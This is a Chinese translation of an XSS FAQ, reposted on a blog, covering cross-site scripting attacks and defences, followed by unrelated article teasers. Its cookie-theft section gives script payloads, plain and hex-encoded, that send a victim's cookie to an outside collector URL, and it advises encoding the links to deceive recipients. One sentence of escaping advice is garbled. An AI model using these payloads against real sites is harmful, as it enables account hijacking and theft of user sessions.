当前位置: 首页 > 编程日记 > 正文

跨站脚本攻击(XSS)FAQ

原作者charlee、原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明。

该文章简单地介绍了XSS的基础知识及其危害和预防方法。Web开发人员的必读。译自 http://www.cgisecurity.com/articles/xss-faq.shtml


简介

现在的网站包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其所写成 XSS)的威胁,而静态站点则完全不受其影响。这篇FAQ将使你能更深入地理解这种威胁,并给出如何检测并防止的建议。

什么是跨站脚本攻击?

跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。

XSS和CSS是什么意思?

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”,显然他是在说跨站脚本攻击。

跨站脚本攻击有什么危害?

为了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章就会受到的“自动攻击”。

  • http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html

能否给出几个跨站脚本攻击的例子?

著名的PHPnuke程序有很多XSS漏洞。由于该程序十分流行,因此经常被黑客们作为XSS的攻击对象进行检查。下面给出了几个已公开报告的攻击方法。

  • http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
  • http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
  • http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt

能否解释一下XSS cookie盗窃是什么意思?

根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。

第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。

第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> 

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。

第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

作为网站管理者应当如何防范?

这个问题很简单。坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。另一个建议是输出页面时将 < 和 > 变换成 < 和 >。要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害。攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大降低你的网站的用户信赖度。当然,仅仅将 ( 和 ) 变换成 < 和 > 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变换成 # 和 &。

作为用户应当如何防范?

保护自己的最好方法就是仅点击你想访问的那个网站上的链接。例如,如果你访问了一个网站,该网站有一个链接指向了 CNN,那么不要单击该链接,而是访问 CNN 的主站点并使用搜索引擎查找相关内容。这样可以杜绝90%以上的XSS攻击。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高,可以防止cookie被盗。

XSS漏洞有多常见?

由于XSS漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。

在商业产品中,平均每个月能够发现10-25个XSS漏洞。

加密能否防止XSS攻击?

使用SSL(https)加密的网站并不比不加密的网站好到哪儿去。Web程序仍然以同样的方式工作,只是攻击是通过加密的连接实现。有些人看到浏览器上的锁图标就认为他们是安全的,其实不然。

XSS漏洞能否在服务器上执行命令?

XSS漏洞会导致Javascript的恶意插入,但它的执行受到很多限制。如果攻击者利用浏览器的漏洞,有可能在用户的计算机上执行命令。因此,就算能够执行命令也只能在客户端。简单地说,XSS漏洞可以触发客户端的其他漏洞。

如果我不修改CSS/XSS漏洞会怎样?

如果不修改XSS漏洞,你的网站上的用户会受到被篡改的威胁。许多大型网站都发现了XSS漏洞,这个问题已经得到普遍认识。如果不修改,发现它的人也许会警告你的公司,损害公司的信誉。你拒绝修改漏洞的消息也会传到客户那里,造成公司的信任危机。客户不信任的话还怎么做生意?

介绍一些更深入讲解XSS的地方。

"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com

Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002
Copyright May 2002 Cgisecurity.com

相关文章:

linux中的for命令

bash shell提供了for命令&#xff0c;用于创建通过一系列值重复的循环。每次重复使用系列中的一个值执行一个定义的命令集。for命令基本格式为&#xff1a;for var in listdo commandsdone1.读取列表中的值 #!/bin/bash #basic for command for test in a b c d e f doecho The…

终于有人把计算机视觉讲明白了 。。。

机器学习是目前比较热门的技术&#xff0c;包含深度学习、强化学习、对抗学习、对偶学习、迁移学习、分布式学习、以及元学习等内容。得益于大数据、大模型、大计算的发展&#xff0c;深度学习在计算机视觉、语音处理、自然语言方面相继取得了突破&#xff0c;达到甚至超过了人…

mysql启动与关闭(手动与自动)

手动管理mysql的启动与关闭 [rootmysql ~]# service mysql start --手动启动mysql Starting MySQL. SUCCESS! [rootmysql ~]# service mysql stop --手动关闭mysql Shutting down MySQL.. SUCCESS! [rootmysql ~]# mysqld --verbose --help --查看MySQL的默认参数的具体值 如果…

C#中抽象类和接口的区别

一、抽象类&#xff1a;抽象类是特殊的类&#xff0c;只是不能被实例化&#xff1b;除此以外&#xff0c;具有类的其他特性&#xff1b;重要的是抽象类可以包括抽象方法&#xff0c;这是普通类所不能的。抽象方法只能声明于抽象类中&#xff0c;且不包含任何实现&#xff0c;派…

echo向文件中写入

echo命令向一个文件写入内容的方法详解&#xff0c;感兴趣的朋友可以参考下。 覆盖型写法 (文件里原来的内容被覆盖)echo "aaa" > a.txtecho aaa > a.txt 添加型写法 (新内容添加在原来内容的后面&#xff09;echo "aaa" >> a.txtecho aaa >…

火山引擎向企业客户开放上万款抖音同款特效

你喜爱的抖音特效&#xff0c;在其他平台上也能使用了。 7月28日&#xff0c;抖音联合火山引擎举办特效技术开放日&#xff0c;首次披露抖音特效的生产流程和技术原理。活动中&#xff0c;火山引擎宣布已向企业客户开放了上万款抖音同款特效&#xff0c;包括猴哥、漫画惊讶脸…

5.1 python的缩进

python 并不像其他语言一样要求以大括号来分辨逻辑&#xff0c;仅仅使用 tab 键&#xff08;默认的四个空格&#xff09;来区分代码。比如 ainput(Please input a num: ) b0 if int(a)>b: print(a>0) else: print(a<0) 返回结果&#xff1a;当输入小于0时&#xff0c;…

centOS 自动安装php

centos下安装php#yum install -y php这个只安装PHP建议安装运行库及MySQL的支持#yum install -y php php-devel php-mysql如果你的系统是CentOS 5.6那么上面这条命令安装的是PHP 5.1,要安装 PHP 5.3则执行下面的命令:#yum install -y php53 php53-devel php53-mysql自动安装启动…

strcpy_s与strcpy的比較

strcpy_s和strcpy()函数的功能差点儿是一样的。strcpy函数&#xff0c;就象gets函数一样&#xff0c;它没有方法来保证有效的缓冲区尺寸&#xff0c;所以它仅仅能假定缓冲足够大来容纳要拷贝的字符串。在程序执行时&#xff0c;这将导致不可预料的行为。用strcpy_s就能够避免这…

抖音发布特效数据报告:每五个投稿有一个使用特效

7月28日&#xff0c;抖音与火山引擎联合举办特效技术开放日&#xff0c;首次发布了《抖音特效数据报告》。报告显示&#xff0c;2021上半年 &#xff0c;抖音平台平均每天上线超过100个新款特效&#xff1b;平均每五个投稿里&#xff0c;就有一个使用特效&#xff0c;特效已经成…

11G RAC 进程启动顺序

本文转自 张冲andy 博客园博客&#xff0c;原文链接&#xff1a;http://www.cnblogs.com/andy6/p/6041171.html &#xff0c;如需转载请自行联系原作者

使用 jQuery 简化 Ajax 开发

JSON 入门指南 <script languageJavaScript typetext/javascript> </script> <script languageJavaScript typetext/javascript> </script> 级别&#xff1a; 初级 廖 雪峰, 撰稿人 2008 年 8 月 22 日 JSON 即 JavaScript Object Natation&#xf…

AI一眼识别这是什么鸟 “我们来找茬”十级选手诞生

话说&#xff0c;你能看出这三只鹦鹉有什么不一样吗&#xff1f;脸盲如我&#xff0c;要使出玩“我们来找茬”的十级能力。AWSL&#xff0c;鹦鹉鹦鹉&#xff0c;傻傻分不清楚。结果&#xff0c;AI一顿操作猛如虎&#xff0c;进行了判断&#xff1a;左边的是桃面牡丹鹦鹉&#…

stm32时钟树讲解

1.管理好时钟&#xff0c;功耗才能更低

安全攻防实战:使用winlogonhack获取系统密码

安全攻防实战&#xff1a;使用winlogonhack获取系统密码S.S.F simeon摘要 在网络安全事件频发的今天&#xff0c;很多人都在抱怨&#xff0c;为什么我的系统被入侵了&#xff0c;我的主页被修改了&#xff0c;在入侵后&#xff0c;我采取了一些安全加固措施&#xff0c;可是没…

HTTP长连接服务器端推技术

服务器推送(Server Push) 推送技术的基础思想是将浏览器主动查询信息改为服务器主动发送信息。服务器发送一批数据&#xff0c;浏览器显示这些数据&#xff0c;同时保证与服务器的连接。当服务器需要再次发送一批数据时&#xff0c;浏览器显示数据并保持连接。以后&#xff0c;…

从AI、加密货币到火星任务,一种更强大、更稳定的存储设备

作者&#xff1a;贺佳来源&#xff1a;数据实战派所研究器件之一的显微镜图像&#xff0c;由两个尺寸相同的十字架组成&#xff0c;其中一个具有 IrMn3 柱&#xff0c;第二个仅由 Pt 组成。&#xff08;来源&#xff1a;西北大学和墨西拿大学&#xff09;美国西北大学和意大利墨…

CSDN - 进程结束后new出的内存会回收吗?

http://blog.csdn.net/stanjiang2010/article/details/5386647 关键词&#xff1a;内存回收

服务器ldap认证配置

1、yum -y install openldap-clients nss-pam-ldapd openldap 2、vim /etc/openldap/ldap.conf进入此配置文件添加如下2行 URI ldap://ldap.shuyun.com:389 BASE dcshuyun,dccom 3、配置自动创建家目录 authconfig --enableldap --enableldapauth --enablemkhomedir --…

使用 .NET 实现 Ajax 长连接

作者&#xff1a;http://www.cnblogs.com/cathsfz/Ajax的长连接&#xff0c;或者有些人所说的Comet&#xff0c;就是指以XMLHttpRequest的方式连接服务器&#xff0c;连接后服务器并非即时写入相应并返回。服务器会保持连接并等待一个需要通知客户端的事件&#xff0c;该事件发…

全员编程时代,人类高质量程序员应具备哪三大特质?

在美国公布的《新兴科技趋势报告》里&#xff0c;2045年&#xff0c;最保守预测也认为将会有超过1千亿的设备连接在互联网上&#xff0c;这些设备包括了移动设备、可穿戴设备、家用电器、医疗设备、工业探测器、监控摄像头、汽车&#xff0c;以及服装等。不久的将来&#xff0c…

[Linux] ubuntu 格式化u盘

$sudo fdisks -l 基本功&#xff0c;格式化命令&#xff0c;以格式化 /dev/sdb4 分区为例&#xff1a; $ sudo umount /dev/sdb4 # 必须先卸载该分区 # 格式化为 FAT 分区 $ sudo mkfs.vfat -F 32 /dev/sdb4 # -F 参数必须大写&#xff0c;参数有 12&#xff0c;16 和…

搭建Mantis 缺陷管理系统(转)

转自 什么是Mantis MantisBT is a free popular web-based bugtracking system (feature list). It is written in the PHP scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver. MantisBT has been installed on Windows, Linux, Mac…

Http环境下的保持连接方式

Http环境本身是一种无连接状态的架构&#xff0c;在这种架构下服务器只能是被动的接受客户端的请求&#xff0c;返回结果&#xff0c;而无法主动的给客户端发送数据。而在很多需要实时数据交互&#xff08;比如Web IM)的场景中&#xff0c;我们却希望能及时得到服务器给我们返回…

22岁专访库克、B站3天涨粉百万,他将毕设树莓派扫描仪升级,繁星散落在校空!...

整理 | 禾木木出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;近日&#xff0c;#何同学毕业#冲上了热搜&#xff0c;4 亿网友阅读词条&#xff0c;1.7 万讨论为他送上毕业祝福&#xff0c;最新毕业视频燃爆朋友圈。过去几个月&#xff0c;要说B站网友苦苦等待的UP主是…

Database Appliance并非Mini版的Exadata-还原真实的Oracle Unbreakable Database Appliance

Oracle甲骨文系统有限公司在北京时间9月23日发布了一款Oracle数据库机即Oracle Database Appliance。Oracle Database Appliance是一款面向中小型企业的使用简单、用得起的高可用数据库专用服务器&#xff0c;该数据库机基于Sun Fire服务器、Oracle Enterprise Linux和Oracle D…

一款基于jquery和css3的响应式二级导航菜单

今天给大家分享一款基于jquery和css3的响应式二级导航菜单&#xff0c;这款导航是传统的基于顶部&#xff0c;鼠标经过的时候显示二级导航&#xff0c;还采用了当前流行的响应式设计。效果图如下&#xff1a; 在线预览 源码下载 实现的代码。 html代码&#xff1a; <div i…

基于PyTorch,如何构建一个简单的神经网络

本文为 PyTorch 官方教程中&#xff1a;如何构建神经网络。基于 PyTorch 专门构建神经网络的子模块 torch.nn 构建一个简单的神经网络。完整教程运行 codelab→https://openbayes.com/console/open-tutorials/containers/OgcYkLjKw89torch.nn 文档→https://pytorch.org/docs/s…

C#语言的几个层次

作者&#xff1a; 李建忠 接到一位前不久C#培训学员的来信&#xff0c;这位学员虽然以前功底欠缺&#xff0c;但学习劲头很足&#xff0c;在培训中成长很快。即便基本吃透《.NET框架&#xff08;修订版&#xff09;》还嫌不够过瘾&#xff0c;一心要成为高手中的高手。来信的目…

确定安全威胁与漏洞-A

1、社会工程学攻击是一种使用欺骗和诡计说服不知情的用户提供敏感信息或做出违背安全准则行为的攻击类型。通常通过人、电子邮件、电话等方式表现出来。 2、社会工程学攻击类型主要有电子欺骗、冒名顶替、骗局、网络钓鱼、电话钓鱼、大型网络钓鱼&#xff08;鱼叉式网络钓鱼&am…